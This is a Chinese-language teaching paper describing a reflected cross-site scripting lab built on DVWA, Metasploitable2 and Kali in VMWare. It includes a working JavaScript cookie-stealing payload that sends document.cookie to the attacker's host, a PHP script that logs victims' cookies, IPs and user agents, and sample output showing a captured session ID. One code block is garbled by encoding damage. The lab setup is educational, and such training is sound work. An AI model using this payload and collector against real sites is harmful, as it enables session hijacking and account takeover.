【摘要】分析反射型跨站腳本攻擊的原理,在VMWare虛擬機軟件中建立由Metasploitable2、Kali和Windows等組成的虛擬機局域網(wǎng),配置虛擬機網(wǎng)絡(luò),調(diào)試好DVWA網(wǎng)站平臺,建立WEB服務(wù),編寫獲取cookie值的PHP程序,編寫JavaScript惡意腳本,較好地達到了實踐操作的效果。
【關(guān)鍵詞】DVWA;XSS;跨站腳本;cookie;VMWare
XSS攻擊即為跨站腳本攻擊,英文為CrossSiteScripting,為不和層疊樣式表(CascadingStyleSheets,CSS)的縮寫混淆,故將跨站腳本攻擊縮寫為XSS。這是當前一種非常重要的攻擊方式,其危害主要體現(xiàn)在以下幾個方面:盜取用戶cookie;修改網(wǎng)頁內(nèi)容;網(wǎng)站掛馬;利用網(wǎng)站重定向;XSS蠕蟲等。
XSS攻擊分為反射型(XSSreflected)、存儲型(XSS stored)及本地利用漏洞型三種類型,這里僅介紹反射型跨站腳本攻擊的原理與實踐操作。
一、XSS跨站腳本攻擊原理
利用DVWA平臺進行XSS跨站腳本攻擊的原理示意如圖1所示。
在圖1中,攻擊者在有XSS漏洞的網(wǎng)站中將網(wǎng)頁嵌入惡意腳本,如用JavaScript編寫的惡意代碼,當被攻擊用戶使用瀏覽器瀏覽點擊被嵌入惡意代碼網(wǎng)頁中的鏈接時,惡意代碼將會在用戶的瀏覽器上執(zhí)行,將被攻擊用戶的信息如Cookie值傳輸給攻擊者(黑客)。攻擊者獲取到被攻擊用戶的Cookie值后繞過賬號及密碼的輸入驗證,直接登錄到用戶的網(wǎng)站,獲取更有價值的信息。從而實現(xiàn)了跨過有XSS漏洞的網(wǎng)站對被攻擊用戶進行攻擊。因此,XSS跨站腳本攻擊與文件包含、命令執(zhí)行、SQL注入等針對服務(wù)器端的攻擊方式有很大差異,更具有隱蔽性和破壞性。
二、XSS跨站腳本攻擊模擬環(huán)境拓撲結(jié)構(gòu)
構(gòu)建XSS跨站腳本攻擊模擬環(huán)境的拓撲結(jié)構(gòu)如圖2所示。
宿主機一般為Windows7/10系統(tǒng)的PC機,安裝VMWareWorkstation10.0以上版本軟件;有跨站漏洞的網(wǎng)站由Metasploitable2虛擬機中的DVWA平臺擔承;攻擊機是Kali虛擬機集成攻擊工具;客戶機是Windows7系統(tǒng)。這些虛擬機由VMWare虛擬網(wǎng)絡(luò)構(gòu)成星形拓撲結(jié)構(gòu)的以太局域網(wǎng)。
三、模擬環(huán)境中虛擬機網(wǎng)絡(luò)配置
(一)虛擬機的網(wǎng)絡(luò)配置
在圖2所示的拓撲結(jié)構(gòu)中,各虛擬機的網(wǎng)絡(luò)連接模式及IP地址分配按表1設(shè)置。
表1中的IP地址可以自己規(guī)劃??紤]到宿主機通常要連接到外部網(wǎng)絡(luò)并與內(nèi)部虛擬機網(wǎng)絡(luò)的連通,因此,在VMWare中對各虛擬機選擇“僅主機”或“NAT”模式連接,使本環(huán)境中的虛擬機不暴露在外網(wǎng)易受攻擊的網(wǎng)絡(luò)中,保護宿主機的安全。
(二)VMWare虛擬機平臺軟件設(shè)置
在VMWareWorkstation10以上的軟件版本上,修改VMWare的網(wǎng)絡(luò)連接編輯配置,操作如下。
(1)點擊VMWare軟件菜單“編輯”,選擇“虛擬網(wǎng)絡(luò)編輯器”,進入如圖3所示的窗口。
(2)點擊VMnet1(僅主機模式),其配置按圖3設(shè)置。
(三)網(wǎng)絡(luò)連通性測試
經(jīng)過上述配置后,分別進入三臺虛擬機,進行網(wǎng)絡(luò)連通性測試。
(1)三臺虛擬機間能相互ping通。
(2)宿主機ping通各虛擬機。
(3)虛擬機ping不通宿主機。
四、XSS跨站腳本攻擊前的準備工作
(一)調(diào)試有XSS漏洞的DVWA網(wǎng)站
!.調(diào)試"#$%網(wǎng)站平臺
進入&()*+,-.()/,0虛擬機,核查12地址,輸入命令:3.+ )445
在被攻擊用戶中打開16瀏覽器,在地址欄中輸入:7((+8 99!:0.;<.0.0==9
顯示&()*+,-.()/,0頁面,其中有"#$%的鏈接,點擊之>即可進入"#$%網(wǎng)站的界面。如果不能顯示相關(guān)的頁面,請檢查網(wǎng)絡(luò)配置。
0.編寫?)@)AB5.+(惡意代碼
可將?)@)AB5.+(的惡意代碼以文本文件C)@)*B5.+(.(D(保存在宿主機中>其:
E *B5.+( F 4-BGHI(.J5.( K LE .HM*5B N O 7((+8 99?。?.;<.0.0!P9)BB+(Q B--R..+7+S B--R.NL T4-BGHI(.B--R. TL O J.4(7N= 7.M7(N= /-545N= 9FL U V ),5( K 9WAA9 U E9*B5.+(F
(二)Kali攻擊機
攻擊機是Kali2016,并利用其中的LAMP(apache2、MySQL、PHP服務(wù))平臺環(huán)境用來接收被害者的cookie值。
1.啟動apache2服務(wù)
啟動apache2服務(wù),輸入命令:#serviceapache2start
2.瀏覽驗證apache2的默認主頁
在被攻擊用戶中打開IE瀏覽器,地址欄處輸入:http://172.49.2.216,顯示apache2的默認頁面。
3.編輯accept_cookie.php程序代碼
在Kali2016集成工具中安裝有PHP程序驅(qū)動模塊,能夠解釋PHP程序的執(zhí)行。因此,要在Kali2016的apache2默認主頁的子目錄/var/www/html/中編輯accept_cookie.php程序:
#vi/var/www/html/accept_cookie.php
<?php
date_default_timezone_set('Asia/Shanghai');
$cookie=$_GET['cookie'];//GETcookie
$ip=getenv('REMOTE_ADDR');//RemoteIP
$time=date('Y-m-dg:i:s');//
$referer=getenv('HTTP_REFERER');//refer
$agent=$_SERVER['HTTP_USER_AGENT'];//AGENT
$fp=fopen('/tmp/cookie.txt','a');//..cookie.txt
fwrite($fp,IP:.$ip.\nDateandTime:.$time.\nUserAgent:.$agent.\nReferer:.$referer.\nCookie:.$cookie.\n\n\n);//
fclose($fp);//
?>
保存退出。
accept_cookie.php程序由上述JavaScript腳本調(diào)用執(zhí)行。其功能是將被害人的cookie值保存到Kali2016的子目錄/tmp中,文件名為cookie.txt。
請注意子目錄/tmp的權(quán)限屬性為:
drwxrwxrwx12rootroot4096Nov1012:29tmp
即其它用戶要有“寫”的權(quán)限,否則,cookie.txt文件不能被寫入/tmp目錄中。當然,也可以指定其它子目錄存放cookie.txt,只需該子目錄對其它用戶開放寫的權(quán)限。
五、XSS跨站腳本攻擊
在上述準備工作后,可以隨時實施XSS攻擊,其攻擊過程如下:
(1)在被攻擊用戶中打開IE瀏覽器,在地址欄中輸入:http://172.49.2.200/
(2)在Metasploitable2頁面中點擊DVWA鏈接,進入DVWA網(wǎng)站平臺;
(3)輸入賬號:admin;密碼:password
(4)登錄成功后,在左側(cè)欄中選擇:DVWAsecurity,并在右側(cè)窗口選擇安全等級為:low,并點擊“Submit”提交;
(5)繼續(xù)在左側(cè)欄中選擇:XSSreflected;在右側(cè)窗口的文本窗口中復(fù)制粘貼前述的“JavaScript的惡意代碼”,點擊“Submit”提交,有彈出窗口顯示“/XSS”,如圖4所示。
(6)在攻擊機上輸入命令:
#ls-l/tmp
#cat/tmp/cookie.txt
顯示:IP:172.49.2.7
DateandTime:2018-11-1112:21:06
UserAgent:Mozilla/4.0(compatible;MSIE8.0;Windows NT6.1;WOW64;Trident/4.0;SLCC2;.NETCLR2.0.50727;.NETCLR3.5.30729;.NETCLR3.0.30729;MediaCenterPC 6.0)
Referer:
http://172.49.2.200/dvwa/vulnerabilities/XSS_r/?name=%3Cscript%3Edocument.write%28%27%3Cimg+src% 3D%22http%3A%2F%2F172.49.2.216%2Faccept_cookie.php%3Fcookie%3D%27%2Bdocument.cookie%2B% 27%22width%3D0+height%3D0+border%3D0+%2F%3E% 27%29%3Balert%28%2FXSS%2F%29%3C%2Fscript%3E+
Cookie:security=low;
PHPSESSID=477dad0e5bc889a6bd98e9727816ad25
從上面的顯示中看到了被攻擊用戶的cookie值:477dad0e5bc889a6bd98e9727816ad25
至此,攻擊者就可以利用cookie值冒充被攻擊用戶登錄到網(wǎng)站中獲取其個人隱私信息。關(guān)于cookie值的利用請參考其它相關(guān)資料。
六、結(jié)語
由于XSS是針對客戶端瀏覽器的攻擊,而目前的很多瀏覽器都已經(jīng)自帶了XSS防御功能,因而建議被攻擊用戶的系統(tǒng)可采用windows7/XP/2003虛擬機,通過IE8/IE6瀏覽器去訪問DVWA,這樣能順利地獲得攻擊實踐操作的效果。
參考文獻
[1]felix.手把手教你如何搭建自己的滲透測試環(huán)境[EB/OL]. 2016-04-27:http://www.freebuf.com/sectool/102661.html.
[2]謝文東的圍脖.Metasploitable2使用指南[EB/OL].2014-05-18:https://www.freebuf.com/articles/system/34571.html.
[3]百度經(jīng)驗.如何安裝全新的KaliLinux系統(tǒng)[EB/OL].:https://jingyan.baidu.com/article/ca2d939d62f4eaeb6c31ce 0f.html.
[4]Nightsay.【XSS】dvwa平臺下的實戰(zhàn)[EB/OL].2015-05-19:https://blog.csdn.net/Nightsay/article/details/45833353.
[5]百度百科.XSS攻擊[EB/OL].2018-06-16:https://baike. baidu.com/item/XSS攻擊/954065?fr=aladdin.
作者簡介:余立強(1960—),男,江蘇無錫人,無錫商業(yè)職業(yè)技術(shù)學院物聯(lián)網(wǎng)技術(shù)學院,高級工程師,研究方向:計算機網(wǎng)絡(luò)安全與云計算。